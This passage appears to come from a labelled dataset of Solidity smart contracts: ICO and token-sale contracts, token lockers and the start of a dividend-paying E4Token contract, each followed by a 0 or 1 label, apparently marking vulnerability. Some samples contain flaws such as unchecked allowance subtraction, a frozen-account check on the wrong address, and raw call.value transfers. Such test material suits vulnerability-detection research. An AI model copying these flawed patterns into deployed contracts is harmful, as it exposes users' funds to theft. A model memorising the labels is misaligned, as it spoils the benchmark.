(uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract CryptualProjectToken is StandardToken, Ownable { using SafeMath for uint256; string public constant name = "Cryptual Project Token"; string public constant symbol = "CPT"; uint8 public constant decimals = 0; uint256 public constant INITIAL_SUPPLY = 283000000; address public wallet; uint256 public constant PRESALE_OPENING_TIME = 1533726000; uint256 public constant PRESALE_CLOSING_TIME = 1534291200; uint256 public constant PRESALE_RATE = 150000; uint256 public constant PRESALE_WEI_CAP = 500 ether; uint256 public constant PRESALE_WEI_GOAL = 50 ether; uint256 public constant CROWDSALE_OPENING_TIME = 1534935600; uint256 public constant CROWDSALE_CLOSING_TIME = 1540166400; uint256 public constant CROWDSALE_WEI_CAP = 5000 ether; uint256 public constant COMBINED_WEI_GOAL = 750 ether; uint256[] public crowdsaleWeiAvailableLevels = [1000 ether, 1500 ether, 2000 ether]; uint256[] public crowdsaleRates = [135000, 120000, 100000]; uint256[] public crowdsaleMinElapsedTimeLevels = [0, 12 * 3600, 18 * 3600, 21 * 3600, 22 * 3600]; uint256[] public crowdsaleUserCaps = [1 ether, 2 ether, 4 ether, 8 ether, CROWDSALE_WEI_CAP]; mapping(address => uint256) public crowdsaleContributions; uint256 public presaleWeiRaised; uint256 public crowdsaleWeiRaised; constructor( address _wallet ) public { require(_wallet != address(0)); wallet = _wallet; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; require(_beneficiary != address(0)); require(weiAmount != 0); bool isPresale = block.timestamp >= PRESALE_OPENING_TIME && block.timestamp <= PRESALE_CLOSING_TIME && presaleWeiRaised.add(weiAmount) <= PRESALE_WEI_CAP; bool isCrowdsale = block.timestamp >= CROWDSALE_OPENING_TIME && block.timestamp <= CROWDSALE_CLOSING_TIME && presaleGoalReached() && crowdsaleWeiRaised.add(weiAmount) <= CROWDSALE_WEI_CAP; uint256 tokens; if (isCrowdsale) { require(crowdsaleContributions[_beneficiary].add(weiAmount) <= getCrowdsaleUserCap()); tokens = _getCrowdsaleTokenAmount(weiAmount); require(tokens != 0); crowdsaleWeiRaised = crowdsaleWeiRaised.add(weiAmount); } else if (isPresale) { require(whitelist[_beneficiary]); tokens = weiAmount.mul(PRESALE_RATE).div(1 ether); require(tokens != 0); presaleWeiRaised = presaleWeiRaised.add(weiAmount); } else { revert(); } _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); if (isCrowdsale) { crowdsaleContributions[_beneficiary] = crowdsaleContributions[_beneficiary].add(weiAmount); crowdsaleDeposited[_beneficiary] = crowdsaleDeposited[_beneficiary].add(msg.value); } else if (isPresale) { presaleDeposited[_beneficiary] = presaleDeposited[_beneficiary].add(msg.value); } } function getCrowdsaleUserCap() public view returns (uint256) { require(block.timestamp >= CROWDSALE_OPENING_TIME && block.timestamp <= CROWDSALE_CLOSING_TIME); uint256 elapsedTime = block.timestamp.sub(CROWDSALE_OPENING_TIME); uint256 currentMinElapsedTime = 0; uint256 currentCap = 0; for (uint i = 0; i < crowdsaleUserCaps.length; i++) { if (elapsedTime < crowdsaleMinElapsedTimeLevels[i]) continue; if (crowdsaleMinElapsedTimeLevels[i] < currentMinElapsedTime) continue; currentCap = crowdsaleUserCaps[i]; } return currentCap; } function _getCrowdsaleTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 uncountedWeiRaised = crowdsaleWeiRaised; uint256 uncountedWeiAmount = _weiAmount; uint256 tokenAmount = 0; for (uint i = 0; i < crowdsaleWeiAvailableLevels.length; i++) { uint256 weiAvailable = crowdsaleWeiAvailableLevels[i]; uint256 rate = crowdsaleRates[i]; if (uncountedWeiRaised < weiAvailable) { if (uncountedWeiRaised > 0) { weiAvailable = weiAvailable.sub(uncountedWeiRaised); uncountedWeiRaised = 0; } if (uncountedWeiAmount <= weiAvailable) { tokenAmount = tokenAmount.add(uncountedWeiAmount.mul(rate)); break; } else { uncountedWeiAmount = uncountedWeiAmount.sub(weiAvailable); tokenAmount = tokenAmount.add(weiAvailable.mul(rate)); } } else { uncountedWeiRaised = uncountedWeiRaised.sub(weiAvailable); } } return tokenAmount.div(1 ether); } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { totalSupply_ = totalSupply_.add(_tokenAmount); balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount); emit Transfer(0x0, _beneficiary, _tokenAmount); } mapping(address => bool) public whitelist; function addToPresaleWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = true; } function addManyToPresaleWhitelist(address[] _beneficiaries) external onlyOwner { for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } function removeFromPresaleWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = false; } bool public isPresaleFinalized = false; bool public isCrowdsaleFinalized = false; mapping (address => uint256) public presaleDeposited; mapping (address => uint256) public crowdsaleDeposited; event PresaleFinalized(); event CrowdsaleFinalized(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); function finalizePresale() external { require(!isPresaleFinalized); require(block.timestamp > PRESALE_CLOSING_TIME); if (presaleGoalReached()) { wallet.transfer(address(this).balance > presaleWeiRaised ? presaleWeiRaised : address(this).balance); } else { emit RefundsEnabled(); } emit PresaleFinalized(); isPresaleFinalized = true; } function finalizeCrowdsale() external { require(isPresaleFinalized && presaleGoalReached()); require(!isCrowdsaleFinalized); require(block.timestamp > CROWDSALE_CLOSING_TIME); if (combinedGoalReached()) { wallet.transfer(address(this).balance); } else { emit RefundsEnabled(); } emit CrowdsaleFinalized(); isCrowdsaleFinalized = true; } function claimRefund() external { uint256 depositedValue = 0; if (isCrowdsaleFinalized && !combinedGoalReached()) { require(crowdsaleDeposited[msg.sender] > 0); depositedValue = crowdsaleDeposited[msg.sender]; crowdsaleDeposited[msg.sender] = 0; } else if (isPresaleFinalized && !presaleGoalReached()) { require(presaleDeposited[msg.sender] > 0); depositedValue = presaleDeposited[msg.sender]; presaleDeposited[msg.sender] = 0; } require(depositedValue > 0); msg.sender.transfer(depositedValue); emit Refunded(msg.sender, depositedValue); } function presaleGoalReached() public view returns (bool) { return presaleWeiRaised >= PRESALE_WEI_GOAL; } function combinedGoalReached() public view returns (bool) { return presaleWeiRaised.add(crowdsaleWeiRaised) >= COMBINED_WEI_GOAL; } }
1
pragma solidity ^0.4.18; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract MyTokenEVC is owned { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function MyTokenEVC() public { totalSupply = 0 * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = "MyTokenEVC 1"; symbol = "MEVC1"; } function name() public constant returns (string _name) { return name; } function symbol() public constant returns (string _symbol) { return symbol; } function decimals() public constant returns (uint8 _decimals) { return decimals; } function totalSupply() public constant returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public constant returns (uint256 _balance) { return balanceOf[_owner]; } mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function freezeAccount (address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[msg.sender]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } function mintToken(uint256 mintedAmount) onlyOwner public { balanceOf[this] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); } }
1
pragma solidity ^0.4.24; contract ERC20 { event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Transfer(address indexed _from, address indexed _to, uint256 _value); function totalSupply() public view returns (uint256); function balanceOf(address _owner) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function allowance(address _owner, address _spender) public view returns (uint256); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); } contract Owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); uint256 c = a - b; return c; } } contract HashRush is ERC20, Owned { using SafeMath for uint256; string public name; string public symbol; uint256 public decimals; uint256 totalSupply_; uint256 multiplier; mapping (address => uint256) balance; mapping (address => mapping (address => uint256)) allowed; modifier onlyPayloadSize(uint size) { if(msg.data.length < size.add(4)) revert(); _; } constructor(string tokenName, string tokenSymbol, uint8 decimalUnits, uint256 decimalMultiplier) public { name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; multiplier = decimalMultiplier; } function totalSupply() public view returns (uint256) { return totalSupply_; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balance[_owner]; } function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) { require(_to != address(0)); require(_value <= balance[msg.sender]); if ((balance[msg.sender] >= _value) && (balance[_to].add(_value) > balance[_to]) ) { balance[msg.sender] = balance[msg.sender].sub(_value); balance[_to] = balance[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns (bool) { require(_to != address(0)); require(_value <= balance[_from]); require(_value <= allowed[_from][msg.sender]); if ((balance[_from] >= _value) && (allowed[_from][msg.sender] >= _value) && (balance[_to].add(_value) > balance[_to])) { balance[_to] = balance[_to].add(_value); balance[_from] = balance[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } else { return false; } } } contract HashRushICO is Owned, HashRush { using SafeMath for uint256; address public multiSigWallet; uint256 public amountRaised; uint256 public startTime; uint256 public stopTime; uint256 public fixedTotalSupply; uint256 public price; uint256 public minimumInvestment; uint256 public crowdsaleTarget; bool crowdsaleClosed = true; string tokenName = "HashRush"; string tokenSymbol = "RUSH"; uint256 multiplier = 100000000; uint8 decimalUnits = 8; constructor() HashRush(tokenName, tokenSymbol, decimalUnits, multiplier) public { multiSigWallet = msg.sender; fixedTotalSupply = 70000000; fixedTotalSupply = fixedTotalSupply.mul(multiplier); } function () public payable { require(!crowdsaleClosed && (now < stopTime) && (msg.value >= minimumInvestment) && (amountRaised.add(msg.value.div(1 ether)) <= crowdsaleTarget) ); amountRaised = amountRaised.add(msg.value.div(1 ether)); multiSigWallet.transfer(msg.value); } function mintToken(address target, uint256 amount) onlyOwner public returns (bool) { require(amount > 0); require(totalSupply_.add(amount) <= fixedTotalSupply); uint256 addTokens = amount; balance[target] = balance[target].add(addTokens); totalSupply_ = totalSupply_.add(addTokens); emit Transfer(0, target, addTokens); return true; } function setPrice(uint256 newPriceperEther) onlyOwner public returns (uint256) { require(newPriceperEther > 0); price = newPriceperEther; return price; } function setMultiSigWallet(address wallet) onlyOwner public returns (bool) { multiSigWallet = wallet; return true; } function setMinimumInvestment(uint256 minimum) onlyOwner public returns (bool) { minimumInvestment = minimum; return true; } function setCrowdsaleTarget(uint256 target) onlyOwner public returns (bool) { crowdsaleTarget = target; return true; } function startSale(uint256 saleStart, uint256 saleStop, uint256 salePrice, address setBeneficiary, uint256 minInvestment, uint256 saleTarget) onlyOwner public returns (bool) { require(saleStop > now); startTime = saleStart; stopTime = saleStop; amountRaised = 0; crowdsaleClosed = false; setPrice(salePrice); setMultiSigWallet(setBeneficiary); setMinimumInvestment(minInvestment); setCrowdsaleTarget(saleTarget); return true; } function stopSale() onlyOwner public returns (bool) { stopTime = now; crowdsaleClosed = true; return true; } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 28339200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xFBBDD3EB0936A8467E71DF97B881bE0aE15d5251; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 28598400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xcF7Fe9Df12b2433fe1766B452AB260CfC5875447; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30240000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xB0C3d6CE41Fb6c7378e7BA61bbFF08960765bf2D ; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.8; contract iE4RowEscrow { function getNumGamesStarted() constant returns (int ngames); } contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract E4RowRewards { function checkDividends(address _addr) constant returns(uint _amount); function withdrawDividends() public returns (uint namount); } contract E4Token is Token, E4RowRewards { event StatEvent(string msg); event StatEventI(string msg, uint val); enum SettingStateValue {debug, release, lockedRelease} enum IcoStatusValue {anouncement, saleOpen, saleClosed, failed, succeeded} struct tokenAccount { bool alloced; uint tokens; uint balance; } address developers; address public owner; address founderOrg; address auxPartner; address e4_partner; mapping (address => tokenAccount) holderAccounts ; mapping (uint => address) holderIndexes ; uint numAccounts; uint partnerCredits; mapping (address => mapping (address => uint256)) allowed; uint maxMintableTokens; uint minIcoTokenGoal; uint minUsageGoal; uint public tokenPrice; uint public payoutThreshold; uint totalTokenFundsReceived; uint public totalTokensMinted; uint public holdoverBalance; int public payoutBalance; int prOrigPayoutBal; uint prOrigTokensMint; uint public curPayoutId; uint public lastPayoutIndex; uint public maxPaysPer; uint public minPayInterval; uint fundingStart; uint fundingDeadline; uint usageDeadline; uint public lastPayoutTime; uint vestTime; uint numDevTokens; bool developersGranted; uint remunerationStage; uint public remunerationBalance; uint auxPartnerBalance; uint rmGas; uint rwGas; uint rfGas; IcoStatusValue icoStatus; SettingStateValue public settingsState; function E4Token() { owner = msg.sender; developers = msg.sender; } function applySettings(SettingStateValue qState, uint _saleStart, uint _saleEnd, uint _usageEnd, uint _minUsage, uint _tokGoal, uint _maxMintable, uint _threshold, uint _price, uint _mpp, uint _mpi ) { if (msg.sender != owner) return; payoutThreshold = _threshold; maxPaysPer = _mpp; minPayInterval = _mpi; if (settingsState == SettingStateValue.lockedRelease) return; settingsState = qState; if (qState == SettingStateValue.lockedRelease) { StatEvent("Locking!"); return; } icoStatus = IcoStatusValue.anouncement; rmGas = 100000; rwGas = 10000; rfGas = 10000; if (totalTokensMinted > 0) { for (uint i = 0; i < numAccounts; i++ ) { address a = holderIndexes[i]; if (a != address(0)) { holderAccounts[a].tokens = 0; holderAccounts[a].balance = 0; } } } totalTokensMinted = 0; totalTokenFundsReceived = 0; partnerCredits = 0; fundingStart = _saleStart; fundingDeadline = _saleEnd; usageDeadline = _usageEnd; minUsageGoal = _minUsage; minIcoTokenGoal = _tokGoal; maxMintableTokens = _maxMintable; tokenPrice = _price; vestTime = fundingStart + (365 days); numDevTokens = 0; holdoverBalance = 0; payoutBalance = 0; curPayoutId = 1; lastPayoutIndex = 0; remunerationStage = 0; remunerationBalance = 0; auxPartnerBalance = 0; developersGranted = false; lastPayoutTime = 0; if (this.balance > 0) { if (!owner.call.gas(rfGas).value(this.balance)()) StatEvent("ERROR!"); } StatEvent("ok"); } function getPayIdAndHeld(uint _tokHeld) internal returns (uint _payId, uint _held) { _payId = (_tokHeld / (2 ** 48)) & 0xffff; _held = _tokHeld & 0xffffffffffff; } function getHeld(uint _tokHeld) internal returns (uint _held) { _held = _tokHeld & 0xffffffffffff; } function addAccount(address _addr) internal { holderAccounts[_addr].alloced = true; holderAccounts[_addr].tokens = (curPayoutId * (2 ** 48)); holderIndexes[numAccounts++] = _addr; } function totalSupply() constant returns (uint256 supply) { if (icoStatus == IcoStatusValue.saleOpen || icoStatus == IcoStatusValue.anouncement) supply = maxMintableTokens; else supply = totalTokensMinted; } function transfer(address _to, uint256 _value) returns (bool success) { if ((msg.sender == developers) && (now < vestTime)) { return false; } var (pidFrom, heldFrom) = getPayIdAndHeld(holderAccounts[msg.sender].tokens); if (heldFrom >= _value && _value > 0) { holderAccounts[msg.sender].tokens -= _value; if (!holderAccounts[_to].alloced) { addAccount(_to); } uint newHeld = _value + getHeld(holderAccounts[_to].tokens); holderAccounts[_to].tokens = newHeld | (pidFrom * (2 ** 48)); Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if ((_from == developers) && (now < vestTime)) { return false; } var (pidFrom, heldFrom) = getPayIdAndHeld(holderAccounts[_from].tokens); if (heldFrom >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { holderAccounts[_from].tokens -= _value; if (!holderAccounts[_to].alloced) addAccount(_to); uint newHeld = _value + getHeld(holderAccounts[_to].tokens); holderAccounts[_to].tokens = newHeld | (pidFrom * (2 ** 48)); allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { if (holderAccounts[_owner].alloced) { balance = getHeld(holderAccounts[_owner].tokens); } } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function () payable { if (msg.sender == e4_partner) { feePayment(); } else { purchaseToken(); } } function purchaseToken() payable { uint nvalue = msg.value; address npurchaser = msg.sender; if (nvalue < tokenPrice) throw; uint qty = nvalue/tokenPrice; updateIcoStatus(); if (icoStatus != IcoStatusValue.saleOpen) throw; if (totalTokensMinted + qty > maxMintableTokens) throw; if (!holderAccounts[npurchaser].alloced) addAccount(npurchaser); uint newHeld = qty + getHeld(holderAccounts[npurchaser].tokens); holderAccounts[npurchaser].tokens = newHeld | (curPayoutId * (2 ** 48)); totalTokensMinted += qty; totalTokenFundsReceived += nvalue; if (totalTokensMinted == maxMintableTokens) { icoStatus = IcoStatusValue.saleClosed; doDeveloperGrant(); StatEventI("Purchased,Granted", qty); } else StatEventI("Purchased", qty); } function feePayment() payable { if (msg.sender != e4_partner) { StatEvent("forbidden"); return; } uint nfvalue = msg.value; updateIcoStatus(); holdoverBalance += nfvalue; partnerCredits += nfvalue; StatEventI("Payment", nfvalue); if (holdoverBalance > payoutThreshold || payoutBalance > 0) doPayout(maxPaysPer); } function setE4RowPartner(address _addr) public { if (msg.sender == owner) { if ((e4_partner == address(0)) || (settingsState == SettingStateValue.debug)) { e4_partner = _addr; partnerCredits = 0; } else { StatEvent("Already Set"); } } } function getNumTokensPurchased() constant returns(uint _purchased) { _purchased = totalTokensMinted-numDevTokens; } function getNumGames() constant returns(uint _games) { if (e4_partner != address(0)) { iE4RowEscrow pe4 = iE4RowEscrow(e4_partner); _games = uint(pe4.getNumGamesStarted()); } } function getSpecialAddresses() constant returns (address _fndr, address _aux, address _dev, address _e4) { _fndr = founderOrg; _aux = auxPartner; _dev = developers; _e4 = e4_partner; } function updateIcoStatus() public { if (icoStatus == IcoStatusValue.succeeded || icoStatus == IcoStatusValue.failed) return; else if (icoStatus == IcoStatusValue.anouncement) { if (now > fundingStart && now <= fundingDeadline) { icoStatus = IcoStatusValue.saleOpen; } else if (now > fundingDeadline) { icoStatus = IcoStatusValue.saleClosed; } } else { uint numP = getNumTokensPurchased(); uint numG = getNumGames(); if ((now > fundingDeadline && numP < minIcoTokenGoal) || (now > usageDeadline && numG < minUsageGoal)) { icoStatus = IcoStatusValue.failed; } else if ((now > fundingDeadline) && (numP >= minIcoTokenGoal) && (numG >= minUsageGoal)) { icoStatus = IcoStatusValue.succeeded; } if (icoStatus == IcoStatusValue.saleOpen && ((numP >= maxMintableTokens) || (now > fundingDeadline))) { icoStatus = IcoStatusValue.saleClosed; } } if (!developersGranted && icoStatus != IcoStatusValue.saleOpen && icoStatus != IcoStatusValue.anouncement && getNumTokensPurchased() >= minIcoTokenGoal) { doDeveloperGrant(); } } function requestRefund() { address nrequester = msg.sender; updateIcoStatus(); uint ntokens = getHeld(holderAccounts[nrequester].tokens); if (icoStatus != IcoStatusValue.failed) StatEvent("No Refund"); else if (ntokens == 0) StatEvent("No Tokens"); else { uint nrefund = ntokens * tokenPrice; if (getNumTokensPurchased() >= minIcoTokenGoal) nrefund -= (nrefund /10); holderAccounts[developers].tokens += ntokens; holderAccounts[nrequester].tokens = 0; if (holderAccounts[nrequester].balance > 0) { if (!holderAccounts[developers].alloced) addAccount(developers); holderAccounts[developers].balance += holderAccounts[nrequester].balance; holderAccounts[nrequester].balance = 0; } if (!nrequester.call.gas(rfGas).value(nrefund)()) throw; } } function doPayout(uint _numPays) internal { if (totalTokensMinted == 0) return; if ((holdoverBalance > 0) && (payoutBalance == 0) && (now > (lastPayoutTime+minPayInterval))) { 